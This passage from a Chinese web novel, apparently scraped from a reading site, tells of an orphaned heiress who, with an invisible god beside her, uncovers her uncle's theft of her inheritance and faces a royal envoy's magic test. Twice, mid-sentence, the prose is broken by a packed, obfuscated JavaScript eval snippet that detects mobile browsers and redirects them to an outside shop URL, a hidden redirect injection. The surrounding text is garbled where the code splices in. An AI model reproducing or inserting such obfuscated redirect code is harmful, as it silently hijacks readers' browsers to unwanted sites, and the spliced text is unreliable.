“我确实不相信佩珊姨妈,只是原因并不是她和我关系一般,而是在母亲死亡这件事上面,她其实也能算是获益者。” 一家之主死去,尤其是塔尔这个曾经的大家族,光是财产清点就要好多的人力。唯一的继承人去世,下一任继承人还只是一个孩子,这些仆人中只要有一半以上拒绝跟着一个小女孩并且侍奉她,那么得到利益的自然是那些所谓的大人了。 “在佩珊姨妈出嫁后,她就算是有着再多的路子,也是不可能成为塔尔家族继承人的,除非她和如今的丈夫和离。可是据我所调查的来看,她同丈夫的关系还不错,虽说乡下物资并不丰富,但是她现在只需要享受佣人服侍,比在我母亲在世期间在边上帮衬可要舒服多了。” 泽维尔点出了一个问题:“特立特和她还有联系,而且很频繁。” 是的,对于格林菲尔来说,想要调查自己父母死亡的真实原因,绝对不可能只从特立特一个人这边着手。偌大的一个贵族,家主突然间死去,却并没有什么人去吊唁不说,反而还急着分瓜那些家产,要说这里面只有一个人下手的话,怎么都是不可能办得到的。 那些和家主平时打交道的贵族,就没有几个是省油的灯,要让他们对于塔尔家家主死亡一事没有怀疑,少说也要打点一二。而据格林菲尔所知道的,在她被舅舅接过来以前,那些财产并没有少。也就是说,为了让那些人闭嘴,设计了她父母死亡的凶手们暂时用金钱或者利益让平日来往的贵族闭上了嘴巴,后面才从她带过来的那些钱财里拿走了大量。一部分用于填补之前贿赂他人的窟窿,剩下的就是自己吞了。 城外,拿着通行令却被拦在了外面,特立特眉头皱起:“这是怎么回事?” 负责看守城门的守卫一脸不耐烦,却还是说出了缘由:“这是国王陛下的命令,只是驱赶你已经很客气了,不想死的话赶紧离开!” 5. 不详 塔尔领地,又迎来了新的一天。 宅邸的佣人们在天还没亮的时候,纷纷起床开始洗漱,为了在家主和他的家人醒来前提前做好侍奉的准备。 佣人们的效率很高,很快就将新鲜的花卉摆放在宅邸的每个角落,空气里弥漫着新鲜甜美的花香味,餐桌上也已经摆满了食物和玉米浓汤。 安托玛丽用纸擦拭了一下嘴角,询问身边的佣人:“特立特大人还没回来?” 负责侍奉她的女仆轻轻点头:“自前天晚上开始,我们就没有再见过特立特大人了,玛丽大人。” 作为男爵府的女主人,安托玛丽可以说相当奢侈,身上的穿着头上的发饰,就连日常用的手绢,那都是非常昂贵的品牌店铺选购的。而她的丈夫,除了不怎么会当好丈夫,物质方面的需求从来都没有亏待过她和她那最小的两个孩子。好在女主人对于男人,也因为这糟糕的婚姻看透了爱情,从不奢望那个男人对她有丝毫怜悯,因此晚上两个人的时候,面对着对方“你也太无趣了一点”的评价,她也只是不搭理任由自己沉沦。 一旁的小女儿瞥了眼对面的位置,询问佣人:“格林菲尔姐姐还没醒?” 或许是因为被交待过什么,安托玛丽的两个孩子对待那宅地中常住的客人,在各方面还算是客气,除了不怎么主动和对方说话外,该有的关心还是给到的。至于更多的,像是真心将对方当做家里的一份子这种事情,就真的别难为他们了。这倒并不是听到了什么闲话,而是因为他们对于母亲以外的人都是一个态度。 长发的佣人回答说:“格林菲尔小姐很早就用过早餐,说是今天一天会待在书房,让我们将三餐送到外面的休息室就好。” 安托玛丽擦拭了一下小女儿的嘴,一脸的惊讶:“她开窍了?之前不是对于睡觉以外的事情,都是兴致缺缺?” 佣人不好回答这个问题。 可以说,格林菲尔对于男爵家来说是怎样的人都无所谓,可是对他们来说也算那不是他们应当去咬舌根的事情,他们只是佣人,只需要做好自己分内的事情就好。 一旁的少年却托着下巴,视线停留在对面没人的位置上,始终没有说一句话。 对于宅邸内的所有人来说,特立特男爵在或者不在,着实不是要紧的事情。可以说,只要有人可以保障他们的生活,现在的领地就算是没有那位的身影,也影响不到他们。 喜欢邀请别人来领地参加宴会的,是特立特男爵,而不是安托玛丽女士。对于丈夫这种炫耀的行为,男爵夫人其实打从心底里感到厌恶,若不是因为那句“孩子们可以有一个好的未来”的话,她是真的会反对到底的。 换言之,对于特立特男爵几天不回,并没有什么人会去在意。 一旁围观了全程的泽维尔嘴角噙着冷笑,转瞬间就顺着熟悉的气息,飞快的回到了书房中。 “男爵夫人在问男爵的去向了。” 就算已经习惯了某人神出鬼没,可是看不到对方身影的情况下,这人无声了一会儿突然间开口,还是能够让她觉得有些惊悚的。事实上,她也确实是被吓了一跳。 书房很大,格林菲尔正站在梯子上,听到声音在寂静无声的书房中响起来,她一个没有站稳,脚下梯子有点摇摇欲坠。下一秒,一个力道稳住了摇晃着的梯子,同时一阵柔软的风托住了她的腰,让她重新安然站在梯子上面。 手拍了拍胸口,格林菲尔心有余悸的开口道:“你下次能不能……” 话一出口,她才意识到不妥。 对于一个没有实体的存在来说,她不能用常理来要求对方什么,更何况……让对方去看看餐厅情况的那个人,正好也是她。她不能因为自己的心理承受能力不行,而去苛责别人。 于是,说了一半的话被她给强行转移:“她大概是真的不知道,她的丈夫到底都做了什么。” 对于这位舅妈,格林菲尔唯一清楚的就是对方嗜钱如命,可是却并不爱慕虚荣,她对所有的东西都要求高品质,真的只是因为她当年没有嫁人前就过着这样的生活。虽说作为乡下的富商之女,嫁给男爵对于她的孩子很有助益,可是她也并不想因此让自己的生活质量下降。比起和人攀比,安托玛丽更喜欢的是自己开心,有了孩子以后希望的是孩子能够好好成长。 只是因为特立特这样道貌岸然的人,格林菲尔不敢轻易相信对方的妻子,也就是安托玛丽男爵夫人。毕竟这两个人这十年来不至于如胶如漆,可是也算不上有多么的疏离,很难让人觉得这人真的不知道自己丈夫做的那些缺德事情。 泽维尔不置可否:“特立特·塔尔做过的事情,她可能确实不知道,但是财产转移的事情,她作为这个宅邸的女主人,又怎么可能会完全不知情?” “爱财是人的天性,泽维尔。” 格林菲尔并不否认舅妈的这个毛病,或者说正是因为当年自己母亲的东西经由对方的手被夺走,才会让她对安托玛丽是否知情某些事情有所怀疑。 泽维尔没有嘲笑格林菲尔的话,正如同这个世界很多人喜欢向神明祈祷来作为精神支柱,无论这些人的祷告最后有没有能够为神所知晓,他们还是一次又一次的这么坚持着。在他看来,安托玛丽与其说是贪图富贵,不如说只是单纯的喜欢钱这种东西。 格林菲尔手上查阅书籍的动作一顿,忽然轻笑出声:“钱是好东西,谁不喜欢呢?如果是我的话,有机会能够分到其他人的财产,我也会非常乐意插手的。” 泽维尔:“你不会伤害别人。” 有着柔软长发的女孩子只是笑着道:“这可不好说。” 说着,她撩起垂落于书页上的那簇长发,继而又重新将注意力给集中在手上的书上面。现在什么事情都不重要,她在意的唯有和【原著】有关的部分。 一整个上午,她都泡在了书房中,完全沉浸在书的世界中,对于外界一概不关心的态度,也没有再让泽维尔帮忙去打探什么。 格林菲尔知道,目前的情况下,若是真的就如同她和子爵所约定的那样顺利的发展,特立特已经不可能再出现在领地中、她的眼中的话,那也就意味着领地的男爵位将易主。 不,说到底塔尔这个领地的男爵本来就是格林菲尔,只是因为她还小没有自主管理的能力,就让特立特来协助她。外界出于对于她这位养育者的尊敬,会刻意忽略了对方【代男爵】前面的那个字,而是尊称其为男爵。 而特立特这次犯下的错,可能对贵族来说不能说是非常大的罪……不,她不能这么代入对方的思维方式考虑。但是格林菲尔觉得吧,至少在皇室眼中他这点小错无足轻重,错就错在他没有将那些咬着他的人给清理干净,才招致了如今的结局。子爵拿到了证据,并且呈现给了皇室,那么就不可能不定罪,按照她之前看的关于这个国家的规则来看,特立特·塔尔顶多就是被剥夺【代男爵】的身份,被驱逐出境再也不被允许踏入这个国家。 这看起来非常残忍,可是至少保全了性命,对比他所做出的那些足以判死刑的事情,皇室这么裁决已经很人道了,至少并不会剥夺对方的生命。 格林菲尔会知道皇室也有插手争夺她母亲遗产这件事,还是因为不久前自己的弟弟和她提了一嘴:“格林菲尔,你不知道吧,你之前的好多东西,现在都出现在皇宫里哦。” 对于这个不显山不露水的弟弟,她从来都没有将对方当做过普通孩子对待。因为是突然间说了这件事,让格林菲尔当时还没有反应过来。后面,经过她反复观察,才发现这真的是随口说的话,她的好舅舅特立特根本不知道自己儿子说了什么。 也正是因此,她才猜到了皇室和特立特有达成什么协议。只是因为两个人做这件事的事情,都没有什么知情人,所以才能够隐瞒到现在。 子爵会不会碍于皇室的逼迫,将她给供出来,格林菲尔并不能肯定。毕竟签订了契约也是可以违约的,比如来自于外界的变化,就让皇室将特立特给舍弃了。 对付皇室,这种事情目前还不在她的计划中,之后若是对方真的要对她出手的话,那也是她继承了爵位以后的事情了,这并不是她现在需要考虑的。 由于浑浑噩噩过去了十五年,如今特立特代男爵自顾不暇,格林菲尔难得的得到了自由。中午用完餐后,她又继续开始翻阅着书柜里的书仔仔细细的阅读并且记下来了一点要点。 虽说她是某一天一下子在这个世界诞生的,可是那不代表她就是那一天突然间来到这里的。她很可能转世到这个世界十几年了,只是因为没有自我,才会和个木偶一样。若不是这样的话,她就不能解释为什么自己的前世记忆会模糊,她现在已经很难想起来自己当初的长相,还有自己的家庭了。 在回想起这个世界是她曾经看过的狗血小说后,她就一心在书里寻找线索,希望可以找到一点和原著男主女主有关系的内容,虽说自己现在可能和他们没有交集,但是指不定哪一天偶遇,若是那个时候没有提前做好准备,肯定会被对方那一连串的狗血事件给牵连进去。说真的,她自己都已经拿了一手烂牌了,要是再遇到什么有的没的,真的会气笑的。 泽维尔认为格林菲尔有点奇怪,毕竟喜欢整天泡在书房里的孩子本来就少,尤其是这位之前也不像是有多么喜欢看书的类型,怎么突然间就这么在意知识层面的东西了。 “你想要系统掌控力量的话,我建议你去神殿进行学习。” 他虽然是神明,却也不会过度干涉人类的事情,从格林菲尔开始沉浸于书中,他就没有再去看过对方都在看什么书了。大陆史也好,其他层面的知识也罢,他从来不会管对方学习了什么,最多就是给到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伯爵先是点了下头,而后用极为低沉的嗓音道:“不只是她。” 安托玛丽错愕:“您的意思是——?” 不能怪她这个反应很奇怪,实在是对方的表达让她有点摸不清头脑。 奥斯维特伯爵注视着面前的男爵夫人,声音冷冰冰的:“你和你的孩子,以及这个领地真正的主人。” 在对方说到真正的主人几个字的时候,安托玛丽脸色唰的发白,声音也难掩颤抖:“陛下这是打算毁约?” “毁约?舅妈你们什么时候和皇室签署协议了?” 她是有些失望的。 她原本以为,她的舅妈并没有掺和到这些事情中去。 可惜了。 一个声音,自拐角处传来,人未到声先至。 皇室的使者看向声音发源地,一个穿着简单有着乌黑长发的女孩子,从黑暗中走到了他的面前。 “黑发。” 伯爵的声音很轻,轻到几乎不可闻。 格林菲尔虽说有特殊力量,但是到底是新手的准备,自己的力量还用不太顺手,自然不知道应该将魔力聚集到耳朵的地方,因而她只能看到伯爵的嘴在蠕动,却并不知道对方说了什么。 而泽维尔,则是清楚的听到了那句呢喃。 【黑发。】 这是一个不会令人觉得陌生的词。 不,应该说他一直以来其实都不怎么在意女孩子异常的地方,被伯爵这么一提醒,他想起来了一些往事。而那些事情,毫无疑问是和“黑发”两个字挂钩的。 泽维尔发现,他真的是沉睡太久了,这么重要的事情都能忘记。 在这个世界,发色本身就代表了元素的亲和力。 金发是光明,蓝发是水系,红发是火系……以此类推,什么颜色代表了什么元素的亲和力。或许并非每个人都能成为魔法师,但是亲和力有没有还是很重要的,尤其是在选择职业的时候,有些工作会看重一个人的元素亲和力。 而黑发的话,在这个大陆本身就是极为罕见的,成为贵族的就更少了。原因无他,这个世界最初的贵族都是立过显著战功的,而当年跟着光明神抵抗黑暗神的人类,那些人中就没有过黑发的。 不过考虑到这已经不知道过去了多少年,人类之中选择了亲和黑暗元素的结婚生子,那也不是不可能的事情。 而格林菲尔并不知道这些事情的始末,她只是望着自己面前的女人。 安托玛丽在丈夫失踪多日,又被告知他们的一切马上都会化为虚无,终于崩溃的跪倒在地,掩面大哭。 格林菲尔懂了。 剩下的,已经不需要去询问了。 窗外雷电不曾停歇,电光时不时的闪烁着。 6. 保护 奥斯维特伯爵,是曾经出现在格林菲尔前世多看的小说里,出现频率还算是比较高的一个人。介于自己身边都没有什么和小说里有关系的人事物,而所在的领土也不是小说里提到过的,至于姓氏那根本就是作为旁白都不曾出现过的落魄贵族。这样的现实摆在眼前,很难让格林菲尔认为相关的人物就在身边,或者说就算是有也是以后等她成年和其他人产生联系过了。 让她怎么都没想到的是,这个她本来以为不可能扯上关系的人,竟然以如此微妙的方式,出现在了这个最不可能出现的时间点上面。这让她觉得很不可思议,她反复回忆了小说里的内容,确认了自己的名字和恶毒女配或者反派都是毫无关系的才对。对了,说起这篇小说的反派,好像是什么黑暗魔女?小说里只是提到过对方多么残忍,连名字都没有给到一个。 在这个充斥了神恩的世界,反派boss是人类而不是神明,这也是格林菲尔阅读小说期间吐槽最多的部分。你们一个个神看起来多么多么牛逼,多么多么不可一世,怎么被一个都不足百岁的人类给打到退回神界的啊?人类自己内斗输了也就算了,明明是神本尊下界来对付一个人类,结果还能够节节败退,最后还被对方给打哭到退回神界。 现在仔细一想,格林菲尔才意识到,她当初对于这本小说的评价不高,后面对于剧情喷的唾沫星子乱飞,很大可能也是因为这本小说的背景设定让她觉得很好笑,让她看不顺眼里面的爱情线。 由于安托玛丽说错了话,暴露了一部分皇室的黑暗,奥斯维特可不管塔尔男爵到底是不是听得懂,直接让人将这个宅邸曾经的女主人和她的孩子给送回到房间里,并让人在外面保护着。说是保护,其实在场的人都知道,也要等到伯爵和这位新的领主谈妥条件,才有让这三个人出来了。 “坐,别傻站着了,塔尔小姐。” 奥斯维特伯爵对面前的女孩子态度截然不同,好似刚刚对着安托玛丽咄咄相逼的是其他人一样,他现在的口气简直是温柔极了:“不同于那些冒牌货,你可是名副其实的塔尔贵族。” 格林菲尔对于他言语中明晃晃的嘲讽,像是什么都没有察觉一样,只是开口道:“您是皇室的使者,就年龄来说您是我的长辈,喊我小姐不妥,直接喊我名字就好。” 她可是极为清楚眼前人有多么腹黑的,别看这人一脸平静的同她说话,将自己的姿态给放的特别低,实际上他所做的所有事情,他都会一一记在心上。 有这样一种人,和你关系好的时候,他会说出不少自谦的话,不惜用贬低自己来抬高你。而一旦你们关系不再那么好,或者你不再具备被他利用的价值,他也不会翻脸不认人,但是会把曾经说过的话、做过的事情一一拿出来说道说道,并且会以此为要挟,来给他之前示弱时候的委屈做出补偿,通常这个时候你会碍于现实,不得不对他的敲诈行为予以认同。 很显然,奥斯维特伯爵就是这一类人,他清楚人性的虚伪本性,愿意为了让对方高兴而让自己处于不利的地位。小说里就是这样,这位自称皇室的使者从来没有高高在上的态度,只是会很快表面自己的立场,却并不会是以高位者的姿态来做什么事情。 比起小说中的夸张描述,格林菲尔猜测这位伯爵对她的态度,虽然也确实很礼貌,但是远不如小说里所说的那么卑微。就算是这样,她也不敢真的将对方的态度当一回事,尤其是知道了这个人的本性以后,就更加的不可能接受对方这般惺惺作态了。 奥斯维特这次倒是没有想太多,只是觉得这次要谈话的是个孩子,就不应该用对以前打交道的人的态度来对待对方,没想到这位却丝毫没有因为自己的话沾沾自喜的样子。 他寻思着,是因为一直以来都以为自己是寄居人下,所以就没有了贵族应有的傲骨?若真是如此的话,那么他也就不用太过深入调查这个宅邸了。 思及此,他拍了拍手,一旁的骑士拿出一封信放到了桌子上。 格林菲尔面带迷惑之色:“伯爵大人,这是?” 奥斯维特:“既然你将我当做长辈,那么就喊我一声奥斯维特叔叔好了。” 格林菲尔飞快的改口:“好的,奥斯维特叔叔。” 停顿了一下,她的手在快接触桌子上的信件前,又很快地缩回了手。 而后,轻轻地眨了眨眼,望着面前的男人。 见女孩子如此的听话,奥斯维特不由得觉得陛下想太多了,一个寄人篱下的孩子,哪里懂什么算计和权谋。别的不说,按照他对特立特那个家伙的了解,对方绝对不可能让这个可以掌控的孩子有反抗他的机会的,这么一来的话那个人不会允许有人教格林菲尔什么。至于子爵到底是怎么拿到特立特的罪证的,那可能真的如同他所说的是一次巧合救助了被拐卖的孩子,偶然从对方那边得到的。 打量着面前的女孩子,奥斯维特越来越满意,很快他就说明了来意。 “今天我来这里,是为了告知格林菲尔你一个好消息。明天开始,这个领地就正式属于你了,不会再有人打着你抚养人的名义,让你人身不自由了。” 人身不自由? 听着眼前人说的话,格林菲尔只觉得可笑。 原来,她被人给囚禁在这个领地的宅邸中,这件事皇室也知晓啊。难怪皇室会和特立特有所联系,原来是因为他们一开始就知晓实情。可这么一来的话,她更加不能明白他们为什么要这么做了。就因为她失去了父母,所以就任由人欺凌? 哪怕内心再有波澜,她表现出来的依然是无辜和乖巧,没有让眼前人产生任何怀疑。 奥斯维特:“不过与此同时,你需要学会作为一个领主应有的知识。” 站在他两侧的骑士打开了门,外面冰冷的雨水打进来,带起了一阵阵的寒风。 一排穿着黑色衣服的年轻女士们,一个接一个的从外面走进来,格林菲尔这还不能理解这些人是做什么的时候,就听到泽维尔的声音在耳边响起来:“这些人是魔法师。” 魔法师?皇室这是打算让她学习魔法? 风声一下子很大,格林菲尔压低了声音问身侧的人:“有没有办法掩饰我的魔法天赋?最好是让人觉得我不可能学会魔法。” 泽维尔不解其意,却还是教了她一点这方面的技巧。 作为魔法师们力量的源头,他自然清楚要如何彻底的控制力量,而格林菲尔虽说黑暗亲和力很强,但是好在那部分力量被压下了,对方如今显现出来的光明力量更为强烈一点。 一个人若是想要隐藏力量,那么就势必会付出代价,他相信女孩子应该明白这个道理,所以也就没有再提醒什么。而他,早就已经给神殿降过神谕了,皇室想要越过神殿对格林菲尔出手的话,必然会被降下的神罚给问责。 不管奥斯维特伯爵带魔法师过来是为了什么,格林菲尔都不会轻易露出马脚。 走进来的几个人之中,有一个人手上拿着一块宝石碎片,她无声的将东西递到了格林菲尔的手中,后退数步远离了对方。 尽管门是开着的,但是周围的氛围极其焦灼,肉眼看不到的压力集中在了两个面对面坐着的人四周。无论是骑士们还是那些跟过来的佣人们,都能感觉到一丝刺骨的杀意。 奥斯维特伯爵一副对于测试结果没有兴趣,手撑着下巴翘着二郎腿转过头接过一杯纯酿,丝毫没有自己不是这里的主人的不适感。 他的对面,黑发的女孩子手上的碎片,从到了手中开始,直到他一杯纯酿喝完,都没有一丁点的动静。这让他忍不住怀疑,是不是他们弄错了,或者说——测试水晶坏了? 格林菲尔手里拿着水晶碎片,过了很久很久都没有放下的意思,只因没有人喊她做什么,她就一直拿着。 时间一久,她就露出了不安的神情,小小声的问眼前的伯爵:“奥斯维特叔叔,我是不是做错了什么?你要这么惩罚我?” 奥斯维特还在那边和人沟通水晶的问题,猝不及防听到这轻声细语,怔然:“你怎么会这么觉得?” 面前的女孩子声音中都带着一点哭音:“可是我一直都拿着这个水晶,手都酸了。” 奥斯维特:“……” 如此孩子气,又如此愚蠢的行径和反应,越发的让他觉得皇帝陛下是没事找事。一个一点魔力都没的孩子,不仅是心智还是个孩子,就连行为都不像是有什么计算的。 至于那个黑发,没有一点魔法师天赋的小孩子,又能威胁皇室到哪里去? 当事人都这么说了,他自然也不会继续为难一个不谙世事的孩子,露出了无奈的笑容:“是叔叔不好,忘记让你放下手了。” 经过各方面的试探和验证,奥斯维特确认了眼前的人和皇室祭司所说的那个人毫无关联,丢下一句“这个领地就交给你处理了”的话,和来时候一样风风火火的离开了宅邸。 伯爵离开,佣人们这才重新回到了大厅中,他们之前被带走已经被告知了,今后这个宅邸还有这片领地的主人是谁。这只是一个告知,并不有任何的引导的意思,却暗示了让他们自己想清楚去留的意思。 这些人现在重新回到客厅,面对着还只是孩子模样的小主人,开始担心自己的前程。 见这些人宛如傀儡一样,表情僵硬还不知道做什么的样子,格林菲尔就明白那位伯爵到底在他们谈话期间,私下里都让他带来的人做了一些什么。 一个非常现实的问题,你上司换了,你可能会面对惨淡的未来,你是打算离职还是留下来跟这个新人上司拼一拼?而比起前世那可能没有什么能力的上司,这次的上司是未成年这件事,才是让这些佣人们更加烦心的吧? 格林菲尔打了个哆嗦,吩咐佣人们:“今天就这样吧。把门关上,宅邸内外打扫一下,剩下的明天早餐时候过来集合,我会给你们说明今后要做什么。” 她不说还好,一说这话佣人们都没有去琢磨她话语中的意思,只是开始做本职工作。是的,他们应该做的事情,本来就是负责内外的日常打理,还有侍奉宅邸内的主人。 格林菲尔看着,在自己给出指令以后,这些人有条不紊的开始干活,就已经明白这些人根本没有反应过来这件事。但凡现在脑子还是清醒的,就会对于自己的未来产生些许质疑,在原地愣住才对。 泽维尔看了一出好戏,现在双手抱胸靠在墙壁:“对于这些佣人,你打算怎么处理?” 女孩子扫了眼客厅中各司其职的佣人们,转身就打算回书房。天大地大,也不会有比她找原著的线索要大。一个人,只有能够保全自己性命的情况下,才有权利谈及以后。现今,她已经遭遇了原著中那个心思颇多还算不上多恶毒的重要配角,越发的坚信她很可能某天就会在街上遇到男主女主了。她必须在接触那群人之前,找到能够保住自己的手段。 计划永远是赶不上变化的。 奥斯维特伯爵离开,加上今天一天都处于自顾自的状态,很快她就把家里其他有地位的人给忘了个精光。直到晚上有人来到书房,看着那比她就小几岁的表弟,她才想起来自己忘记了什么。 将手中的书给随手放回到一边的书架上,格林菲尔从梯子上走下来,来到男孩子面前:“戴特,你有什么事情?” “你打算怎么安置我们?”戴特说着,用非常老成的口气道,“亏欠你的是特立特,不是我们和安托玛丽。” 格林菲尔颇为意外的挑了挑眉,她一直都觉得自己这个堂弟的说话方式有意思,正常情况下不会称呼自己父亲名字,尤其是在其他人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333098|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。就算是和自己父亲关系不好,直接喊对方的名字也可以理解,但是——不仅是父亲的名字,还有自己母亲也是直接喊名字,而作为同辈的妹妹反而连名字都直接在这个人的话中失去了。 她不能肯定,这个表弟现在到底是什么心思,她不想把他想太坏,之前的警惕只是因为对方的话太过突兀,现在误会解除了,却听到对方用着不符合他年龄的口气说话,还对自己的父母没有丝毫尊重可言,嗯……这就很耐人寻味了。 这么想着,她发现对方的目光偏移了些许,而后他听到对方的嗤笑声:“就说你怎么会一下子这么精明了,原来身边有人帮你啊。” 泽维尔不语。 其实很简单的事情,格林菲尔最近看起来什么都没有做,可是事情都往向着她的趋势而去,会让人怀疑是不是有其他人帮她也是非常合理的。而且所谓的诈人,他可是见多了,只是这种程度的话可不能让他出声。 不只是他,格林菲尔也是这么认为。 泽维尔这个存在,就连她都只能听到对方的声音,根本就看不到人。除非对方是可以改变自身形态的,不然的话她很难解释为什么马车这么狭隘的空间里,她还是触碰不到对方这件事。 没有任何回应。 戴特垂眸不语,片刻后手中力量释放而出,朝着无人的地方给砸去。 一道透明的结界,以肉眼无法捕捉的速度一闪而过,可是这并没有什么用处。 “你看,这不是在嘛。” 戴特眼中满是恶意:“你缠着我姐姐多久了?” 格林菲尔被眼前的一幕给惊呆了:“哎?” 等等!泽维尔是有实体的?那之前到底是怎么回事?是为了方便真的改变了自身的存在方式?可是现在又为什么——当她的视线触及那个书架的时候,就什么都明白了。 那个书架上的书,她还没有翻阅,是她计划接下来要查阅的部分。 只要想到自己可能会因为少看一部分书,从而彻底错过了真相,格林菲尔就格外的恼火,揪其戴特的衣领将人给提起:“好了,你今天的恶作剧有些过了,险些把我的书给毁了。” 戴特目瞪口呆,这是强盗吧?虽说家人吞噬了这人的钱财,可是这些人可是和眼前的人没有丝毫关系啊,那都是父母从老家带过来的啊!这人居然……将这些东西当做自己的所有物了? “你……什么时候这么流氓了?” 格林菲尔轻笑了一声:“你现在离开,我还能原谅你差点毁了我书架的事情。还有——要不是我提前让伯爵那边的人给书房弄布置结界,还不知道里面有多少书会因为你的发疯遭殃。” “呃……那是伯爵身边的魔法师布置的?” 得知了这个真相,戴特顿时汗流浃背,他一直怀疑自己姐姐身边有其他人,没想到那个人是伯爵身边的人。 格林菲尔没有管自己的话中有多少漏洞,只是忽悠着自己的表弟,语气不善:“我会如何处置你们,这取决于你们的母亲。舅妈若是能够拿出部分诚意,那么我也会对你们宽容,不然的话……阁楼还空着,等佣人们打扫完你们就搬上去。” “怎么可以让我们住阁楼?”这话几乎是不假思索的,从男孩子的嘴里冒出来,他花费了一会儿时间,才平复了剧烈跳动的心脏,询问眼前姑且被他称为表姐的人,“你所谓的诚意,要到什么程度才会满意?” 少有的,他的表姐收敛起来了脸上全部的笑意,反问他:“谁知道呢?” 下一秒,他被推出了书房。 在随着“咔嚓”一声戴特发现书房门被彻底锁了,顿时哭笑不得,自己表姐也太小气了一点。 对于自己家的处境,他虽然觉得没有什么可以指望的,但是为了另外一个无辜的家人,他也愿意和安托玛丽聊一些关于让格林菲尔宽容一点的话题。 书房中,泽维尔原先还在为自己不自觉的出手,感到懊悔不已的时候,就听到格林菲尔如何欺骗戴特的话,顿时有点茫然。 待女孩子重新回到了书房,他才用非常不解的语气道:“其实,你并没有隐瞒我的必要,就算知道有我这样一个人,他们也不能对我做什么的。” 说笑了,人类但凡能够轻易对神造成什么影响,这个世界早就已经毁灭了,怎么可能还好好的? 现任男爵大人坐在了边上的椅子上,托着腮,露出了纯真无邪的神情:“是吗?那为什么你刚刚不出声呢?” “只是没必要罢了。” 他的存在,确实没有隐瞒任何人的必要,可是他也不想因此被人知晓他在的地方。这话听起来很矛盾,只是主观上的不想和懒得接触其他人的区别。 格林菲尔露出了悲伤的表情:“哦,帮忙隐瞒你的事情,我还做错了。” 泽维尔见惯了这个人的演技,自然不会相信这人真的是伤心,不过考虑到对方还是孩子,他还是姑且配合了一下:“不,是我错了。” 道歉是不可能的,他毕竟是神,有着属于神的骄傲。况且这种事情上面,本身也没有所谓的对错,只是分是不是和能不能而已。 见对方如此配合,但是却是棒读的语气,格林菲尔笑出了声:“算了,你下次别陪我这么玩了。” 泽维尔扬眉:“也就这一次。” 其实,他也觉得这次在这个人类女孩子身上投注的注意力有些多了,可是很快他就被自己给睡服了。再怎么说,现在能够接触到的人类,其实也就只有这么一个。 “还有一点。我其实刚刚出声了。” 格林菲尔:“哎?” 泽维尔语气中带着一点戏谑:“你忘了吗,其他人听不到我的声音罢了。” 格林菲尔:“可恶啊!我真的完全忘记了这件事!” 7. 距离 奥斯维特是不是真的信了,格林菲尔现在还不能肯定,倘若这位皇室使者真的如同她前世看过的小说里所描述的那般的话,那么她现在不对领地……不,是包括宅邸内的人员安排不做什么大调整,那边自然而然就会放松对她的警惕。 而她现在由于人生安全无虞,也没有什么时间紧迫的问题存在,领地里无需有所改变。至于之后总会对上皇室这种事情,那也是之后需要考虑的问题,并非如今的当务之急。 因而,就算是说着第二天会有新的人事变化,那也只是提拔了一些她比较看好,目前还没有站队的实习女仆男仆们。她并不担心这些新人会因为年龄小的关系做不好事情,因为这个世界的人由于生活压力,往往都特别的早熟。而她,按照标准来说应该也是十五岁就算成年了,但是因为特立特和皇室谈了什么协议,加上格林菲尔由于本来就娇小,就觉得可以晚几年判定成年比较好。 怎么说呢,在其他人看来他们的恶意,反倒是给她培养自己的势力有了充足的时间。不可否认,她的好舅舅给她安排的那些佣人里面,确实是有不少真心对她好,可是那毕竟不是她的人手,她可以认可他们为了留下来改主人,但是不可能真正的相信他们。在她养精蓄锐尚未培育出属于自己的心腹以前,她不介意这些人暂时的留着为她所用,但是当她的人手培养出来以后,她肯定会让这些人离开领地。为了不落下苛责家仆的糟糕名声,她可以替他们安排在附近的村庄生活,为了表彰他们多年对领土尽心尽力,她会为他们准备居住地,基本的衣食十年间都不会短缺,之后或者想要更好的生活的话,就需要他们靠自己的双手去争取。 以上这些事情,都是几年后的问题了。 她现在的当务之急,当然还是—— “丽娜,帮我准备一壶提神的茶,还有一些休息期间的点心,我今天会一整天待在书房里。” 被她新提拔上来的女仆叫做丽娜·菲尔,还是之前她舅舅还在的时候,带她视察领地各个村庄期间被她带回来的。由于自己处境不怎么好的当时,她也没有让人直接侍奉自己,而是安排她给一个还算是靠谱的女佣人当下手。现在舅舅不在了,她理所当然的将自己人给提上来。平时也有沟通和说话,这也是她敢将人给提拔的原因。 安托玛丽自从皇室使者带来了消息,那天又被对方毫不留情的赶走并关押起来,她整个人现在都在害怕。她早已经不爱自己的丈夫,可是这种时候她多么希望对方能够出现在她面前,和她说这一切都只是一个噩梦。她并不是个虚荣的人,可这并不代表她能够接受即将到来的审判。 是的,审判。 她比任何人都要清楚,这一天迟早都要到来。 那一天,她看着自己的丈夫下了马车,身后跟着一个穿着精致的女孩子,并没有去询问对方什么。没过几天,她就发现那些漂亮的精致玩意,转眼间就到了她的储藏室中。因为女孩子来的时候穿的那一身,让她印象深刻,所以她可以肯定这些就是对方的。 她拿着这些东西找到丈夫的时候,对方喝得醉眼朦胧,不等她细问什么,一个手掌托住她的腰,手中的东西散落了一地,当她醒来的时候,就听到丈夫懒洋洋的开口道:“你之前用的那些穿着佩戴的东西,都是我外甥女那边弄来的,不过以后那些好东西都是我们的了。” 安托玛丽没有开口说什么。 这一刻她明白了,无论她怎么想的,她已然成为了共犯。如同特立特所说的那般,她曾经拿着使用的那些金币银币,还有各种美丽的服饰,都是来自于他们的外甥女格林菲尔家的。 已经成了既定的现实,她也不会对这件事狡辩什么。 况且,面对着一个只会对着你微笑,从外界一概没有什么反应的人,她又能够说些什么? 